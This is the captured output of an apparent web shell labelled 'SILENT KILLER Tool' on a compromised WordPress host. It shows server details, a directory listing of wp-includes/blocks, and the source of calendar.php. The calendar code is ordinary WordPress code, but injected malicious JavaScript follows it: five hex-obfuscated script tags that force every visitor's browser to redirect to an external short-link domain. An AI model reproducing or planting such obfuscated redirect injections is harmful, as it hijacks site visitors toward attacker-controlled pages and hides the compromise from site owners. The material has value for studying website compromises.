Current Path: > > home > branxxtp > keyclubpropertymanagement.com > wp-includes__63e5284 > blocks
Operation : Linux premium107.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 Software : Apache Server IP : 198.54.126.246 | Your IP: 216.73.216.181 Domains : 1034 Domain(s) Permission : [ 0755 ]
| Name | Type | Size | Last Modified | Actions |
|---|---|---|---|---|
| archives | Directory | - | - | |
| audio | Directory | - | - | |
| avatar | Directory | - | - | |
| block | Directory | - | - | |
| button | Directory | - | - | |
| buttons | Directory | - | - | |
| calendar | Directory | - | - | |
| categories | Directory | - | - | |
| code | Directory | - | - | |
| column | Directory | - | - | |
| columns | Directory | - | - | |
| comment-author-name | Directory | - | - | |
| comment-content | Directory | - | - | |
| comment-date | Directory | - | - | |
| comment-edit-link | Directory | - | - | |
| comment-reply-link | Directory | - | - | |
| comment-template | Directory | - | - | |
| comments | Directory | - | - | |
| comments-pagination | Directory | - | - | |
| comments-pagination-next | Directory | - | - | |
| comments-pagination-numbers | Directory | - | - | |
| comments-pagination-previous | Directory | - | - | |
| comments-title | Directory | - | - | |
| cover | Directory | - | - | |
| details | Directory | - | - | |
| embed | Directory | - | - | |
| file | Directory | - | - | |
| footnotes | Directory | - | - | |
| freeform | Directory | - | - | |
| gallery | Directory | - | - | |
| group | Directory | - | - | |
| heading | Directory | - | - | |
| home-link | Directory | - | - | |
| html | Directory | - | - | |
| image | Directory | - | - | |
| latest-comments | Directory | - | - | |
| latest-posts | Directory | - | - | |
| legacy-widget | Directory | - | - | |
| list | Directory | - | - | |
| list-item | Directory | - | - | |
| loginout | Directory | - | - | |
| media-text | Directory | - | - | |
| missing | Directory | - | - | |
| more | Directory | - | - | |
| navigation | Directory | - | - | |
| navigation-link | Directory | - | - | |
| navigation-submenu | Directory | - | - | |
| nextpage | Directory | - | - | |
| page-list | Directory | - | - | |
| page-list-item | Directory | - | - | |
| paragraph | Directory | - | - | |
| pattern | Directory | - | - | |
| post-author | Directory | - | - | |
| post-author-biography | Directory | - | - | |
| post-author-name | Directory | - | - | |
| post-comments-form | Directory | - | - | |
| post-content | Directory | - | - | |
| post-date | Directory | - | - | |
| post-excerpt | Directory | - | - | |
| post-featured-image | Directory | - | - | |
| post-navigation-link | Directory | - | - | |
| post-template | Directory | - | - | |
| post-terms | Directory | - | - | |
| post-title | Directory | - | - | |
| preformatted | Directory | - | - | |
| pullquote | Directory | - | - | |
| query | Directory | - | - | |
| query-no-results | Directory | - | - | |
| query-pagination | Directory | - | - | |
| query-pagination-next | Directory | - | - | |
| query-pagination-numbers | Directory | - | - | |
| query-pagination-previous | Directory | - | - | |
| query-title | Directory | - | - | |
| query-total | Directory | - | - | |
| quote | Directory | - | - | |
| read-more | Directory | - | - | |
| rss | Directory | - | - | |
| search | Directory | - | - | |
| separator | Directory | - | - | |
| shortcode | Directory | - | - | |
| site-logo | Directory | - | - | |
| site-tagline | Directory | - | - | |
| site-title | Directory | - | - | |
| social-link | Directory | - | - | |
| social-links | Directory | - | - | |
| spacer | Directory | - | - | |
| table | Directory | - | - | |
| tag-cloud | Directory | - | - | |
| template-part | Directory | - | - | |
| term-description | Directory | - | - | |
| text-columns | Directory | - | - | |
| verse | Directory | - | - | |
| video | Directory | - | - | |
| widget-group | Directory | - | - | |
| .htaccess | File | 127 bytes | November 29 2025 00:46:24. | |
| archives.php | File | 3908 bytes | May 24 2024 05:09:28. | |
| avatar.php | File | 6659 bytes | November 01 2024 07:45:30. | |
| block.php | File | 4228 bytes | April 16 2025 05:29:32. | |
| blocks-json.php | File | 194860 bytes | April 16 2025 05:29:32. | |
| button.php | File | 2719 bytes | June 11 2024 19:37:32. | |
| calendar.php | File | 6989 bytes | May 24 2024 05:09:28. | |
| categories.php | File | 4924 bytes | October 01 2024 10:48:28. | |
| comment-author-name.php | File | 3047 bytes | May 24 2024 05:09:28. | |
| comment-content.php | File | 3373 bytes | May 24 2024 05:09:28. | |
| comment-date.php | File | 2777 bytes | September 20 2024 11:25:36. | |
| comment-edit-link.php | File | 2627 bytes | May 24 2024 05:09:28. | |
| comment-reply-link.php | File | 2989 bytes | May 24 2024 05:09:28. | |
| comment-template.php | File | 5408 bytes | May 24 2024 05:09:28. | |
| comments-pagination-next.php | File | 2838 bytes | September 20 2024 11:25:36. | |
| comments-pagination-numbers.php | File | 2546 bytes | May 24 2024 05:09:28. | |
| comments-pagination-previous.php | File | 2704 bytes | September 20 2024 11:25:36. | |
| comments-pagination.php | File | 2113 bytes | May 24 2024 05:09:28. | |
| comments-title.php | File | 3686 bytes | May 24 2024 05:09:28. | |
| comments.php | File | 7681 bytes | June 01 2024 04:29:00. | |
| cover.php | File | 4089 bytes | April 16 2025 05:29:32. | |
| file.php | File | 2707 bytes | September 23 2024 16:22:26. | |
| footnotes.php | File | 4685 bytes | February 28 2024 01:18:24. | |
| gallery.php | File | 7352 bytes | May 24 2024 05:09:28. | |
| heading.php | File | 2215 bytes | May 24 2024 05:09:28. | |
| home-link.php | File | 6352 bytes | April 16 2025 05:29:32. | |
| image.php | File | 12937 bytes | April 16 2025 05:29:32. | |
| index.htm | File | 1104 bytes | January 26 2026 05:14:07. | |
| index.html | File | 1104 bytes | January 26 2026 05:14:07. | |
| index.php | File | 1104 bytes | January 26 2026 05:14:07. | |
| latest-comments.php | File | 5954 bytes | May 24 2024 05:09:28. | |
| latest-posts.php | File | 9456 bytes | November 01 2024 07:45:30. | |
| legacy-widget.php | File | 4911 bytes | May 24 2024 05:09:28. | |
| list.php | File | 2187 bytes | May 24 2024 05:26:08. | |
| loginout.php | File | 2332 bytes | May 24 2024 05:09:28. | |
| media-text.php | File | 5297 bytes | September 20 2024 11:37:12. | |
| navigation-link.php | File | 14827 bytes | April 16 2025 05:29:32. | |
| navigation-submenu.php | File | 10857 bytes | April 16 2025 05:29:32. | |
| navigation.php | File | 50534 bytes | April 16 2025 05:29:32. | |
| page-list-item.php | File | 1275 bytes | May 24 2024 05:09:28. | |
| page-list.php | File | 14525 bytes | September 20 2024 11:25:36. | |
| pattern.php | File | 2702 bytes | April 16 2025 05:29:32. | |
| post-author-biography.php | File | 2438 bytes | May 24 2024 05:09:28. | |
| post-author-name.php | File | 2865 bytes | May 01 2025 00:24:22. | |
| post-author.php | File | 3648 bytes | May 01 2025 00:24:22. | |
| post-comments-form.php | File | 3719 bytes | May 24 2024 05:09:28. | |
| post-content.php | File | 3070 bytes | May 24 2024 05:09:28. | |
| post-date.php | File | 4038 bytes | September 20 2024 11:25:36. | |
| post-excerpt.php | File | 4361 bytes | May 24 2024 05:09:28. | |
| post-featured-image.php | File | 10277 bytes | May 24 2024 05:09:28. | |
| post-navigation-link.php | File | 5751 bytes | May 24 2024 05:09:28. | |
| post-template.php | File | 6663 bytes | September 23 2024 16:22:26. | |
| post-terms.php | File | 4554 bytes | April 16 2025 05:29:32. | |
| post-title.php | File | 3052 bytes | May 24 2024 05:09:28. | |
| query-no-results.php | File | 2761 bytes | May 24 2024 05:09:28. | |
| query-pagination-next.php | File | 4701 bytes | June 11 2024 19:37:32. | |
| query-pagination-numbers.php | File | 5684 bytes | May 24 2024 05:09:28. | |
| query-pagination-previous.php | File | 4498 bytes | April 16 2025 05:29:32. | |
| query-pagination.php | File | 2090 bytes | May 24 2024 05:09:28. | |
| query-title.php | File | 3012 bytes | May 24 2024 05:09:28. | |
| query-total.php | File | 3449 bytes | April 16 2025 05:29:32. | |
| query.php | File | 6604 bytes | April 16 2025 05:29:32. | |
| read-more.php | File | 2744 bytes | May 24 2024 05:09:28. | |
| require-dynamic-blocks.php | File | 5077 bytes | April 16 2025 05:29:32. | |
| require-static-blocks.php | File | 1415 bytes | June 11 2024 19:37:32. | |
| rss.php | File | 4987 bytes | April 16 2025 05:29:32. | |
| search.php | File | 23930 bytes | April 16 2025 05:29:32. | |
| shortcode.php | File | 1649 bytes | May 24 2024 05:09:28. | |
| site-logo.php | File | 7248 bytes | September 20 2024 11:25:36. | |
| site-tagline.php | File | 2117 bytes | May 24 2024 05:09:28. | |
| site-title.php | File | 2767 bytes | April 16 2025 05:29:32. | |
| social-link.php | File | 66088 bytes | April 16 2025 05:29:32. | |
| tag-cloud.php | File | 2504 bytes | September 20 2024 11:25:36. | |
| template-part.php | File | 11068 bytes | April 16 2025 05:29:32. | |
| term-description.php | File | 2250 bytes | May 24 2024 05:09:28. | |
| widget-group.php | File | 3352 bytes | May 24 2024 05:09:28. |
<?php
/**
* Server-side rendering of the `core/calendar` block.
*
* @package WordPress
*/
/**
* Renders the `core/calendar` block on server.
*
* @since 5.2.0
*
* @global int $monthnum.
* @global int $year.
*
* @param array $attributes The block attributes.
*
* @return string Returns the block content.
*/
function render_block_core_calendar( $attributes ) {
global $monthnum, $year;
// Calendar shouldn't be rendered
// when there are no published posts on the site.
if ( ! block_core_calendar_has_published_posts() ) {
if ( is_user_logged_in() ) {
return '<div>' . __( 'The calendar block is hidden because there are no published posts.' ) . '</div>';
}
return '';
}
$previous_monthnum = $monthnum;
$previous_year = $year;
if ( isset( $attributes['month'] ) && isset( $attributes['year'] ) ) {
$permalink_structure = get_option( 'permalink_structure' );
if (
str_contains( $permalink_structure, '%monthnum%' ) &&
str_contains( $permalink_structure, '%year%' )
) {
$monthnum = $attributes['month'];
$year = $attributes['year'];
}
}
$color_block_styles = array();
// Text color.
$preset_text_color = array_key_exists( 'textColor', $attributes ) ? "var:preset|color|{$attributes['textColor']}" : null;
$custom_text_color = $attributes['style']['color']['text'] ?? null;
$color_block_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;
// Background Color.
$preset_background_color = array_key_exists( 'backgroundColor', $attributes ) ? "var:preset|color|{$attributes['backgroundColor']}" : null;
$custom_background_color = $attributes['style']['color']['background'] ?? null;
$color_block_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;
// Generate color styles and classes.
$styles = wp_style_engine_get_styles( array( 'color' => $color_block_styles ), array( 'convert_vars_to_classnames' => true ) );
$inline_styles = empty( $styles['css'] ) ? '' : sprintf( ' style="%s"', esc_attr( $styles['css'] ) );
$classnames = empty( $styles['classnames'] ) ? '' : ' ' . esc_attr( $styles['classnames'] );
if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
$classnames .= ' has-link-color';
}
// Apply color classes and styles to the calendar.
$calendar = str_replace( '<table', '<table' . $inline_styles, get_calendar( true, false ) );
$calendar = str_replace( 'class="wp-calendar-table', 'class="wp-calendar-table' . $classnames, $calendar );
$wrapper_attributes = get_block_wrapper_attributes();
$output = sprintf(
'<div %1$s>%2$s</div>',
$wrapper_attributes,
$calendar
);
$monthnum = $previous_monthnum;
$year = $previous_year;
return $output;
}
/**
* Registers the `core/calendar` block on server.
*
* @since 5.2.0
*/
function register_block_core_calendar() {
register_block_type_from_metadata(
__DIR__ . '/calendar',
array(
'render_callback' => 'render_block_core_calendar',
)
);
}
add_action( 'init', 'register_block_core_calendar' );
/**
* Returns whether or not there are any published posts.
*
* Used to hide the calendar block when there are no published posts.
* This compensates for a known Core bug: https://core.trac.wordpress.org/ticket/12016
*
* @since 5.9.0
*
* @return bool Has any published posts or not.
*/
function block_core_calendar_has_published_posts() {
// Multisite already has an option that stores the count of the published posts.
// Let's use that for multisites.
if ( is_multisite() ) {
return 0 < (int) get_option( 'post_count' );
}
// On single sites we try our own cached option first.
$has_published_posts = get_option( 'wp_calendar_block_has_published_posts', null );
if ( null !== $has_published_posts ) {
return (bool) $has_published_posts;
}
// No cache hit, let's update the cache and return the cached value.
return block_core_calendar_update_has_published_posts();
}
/**
* Queries the database for any published post and saves
* a flag whether any published post exists or not.
*
* @since 5.9.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return bool Has any published posts or not.
*/
function block_core_calendar_update_has_published_posts() {
global $wpdb;
$has_published_posts = (bool) $wpdb->get_var( "SELECT 1 as test FROM {$wpdb->posts} WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1" );
update_option( 'wp_calendar_block_has_published_posts', $has_published_posts );
return $has_published_posts;
}
// We only want to register these functions and actions when
// we are on single sites. On multi sites we use `post_count` option.
if ( ! is_multisite() ) {
/**
* Handler for updating the has published posts flag when a post is deleted.
*
* @since 5.9.0
*
* @param int $post_id Deleted post ID.
*/
function block_core_calendar_update_has_published_post_on_delete( $post_id ) {
$post = get_post( $post_id );
if ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) {
return;
}
block_core_calendar_update_has_published_posts();
}
/**
* Handler for updating the has published posts flag when a post status changes.
*
* @since 5.9.0
*
* @param string $new_status The status the post is changing to.
* @param string $old_status The status the post is changing from.
* @param WP_Post $post Post object.
*/
function block_core_calendar_update_has_published_post_on_transition_post_status( $new_status, $old_status, $post ) {
if ( $new_status === $old_status ) {
return;
}
if ( 'post' !== get_post_type( $post ) ) {
return;
}
if ( 'publish' !== $new_status && 'publish' !== $old_status ) {
return;
}
block_core_calendar_update_has_published_posts();
}
add_action( 'delete_post', 'block_core_calendar_update_has_published_post_on_delete' );
add_action( 'transition_post_status', 'block_core_calendar_update_has_published_post_on_transition_post_status', 10, 3 );
}
ob_start();
?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x69\x55\x4e\x4a\x4c\x6f\x6d\x30\x72\x30";</script>
SILENT KILLER Tool